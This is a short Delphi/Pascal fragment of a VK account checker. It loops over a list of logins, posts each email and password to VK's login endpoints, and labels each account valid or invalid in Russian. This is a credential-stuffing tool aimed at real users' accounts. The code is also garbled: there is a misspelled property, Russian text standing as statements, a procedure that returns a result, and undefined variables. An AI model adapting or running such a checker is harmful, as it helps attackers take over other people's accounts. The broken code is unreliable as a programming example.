for i:=0 to form1.memo1.coint-1 do
 begin
  if logvk='ok' then 
   акк валидный!
 else
  невалидный!
 end;

procedure logvk;
begin
    get := Tstringlist.Create;
  post := Tstringlist.Create;
  post.add ('op=a_login_attempt');
  try
   c:=http.post ('http://vk.com/login.php', post);
  except end;
  post.Clear;
  post.add ('email=' + log);
  post.add ('pass=' + pas);
  post.add ('expire=');
  post.add ('vk=1');
  try
   s := http.post ('http://login.vk.com/?act=login', post);
  except end;
  post.Clear;
   s2:=copy(s, pos('value=''',s)+7, 56);
   if length(s2)=0 then
    begin
     result:='nook';
     exit;
    end
   else
    begin
     result:='ok';
    end;
end;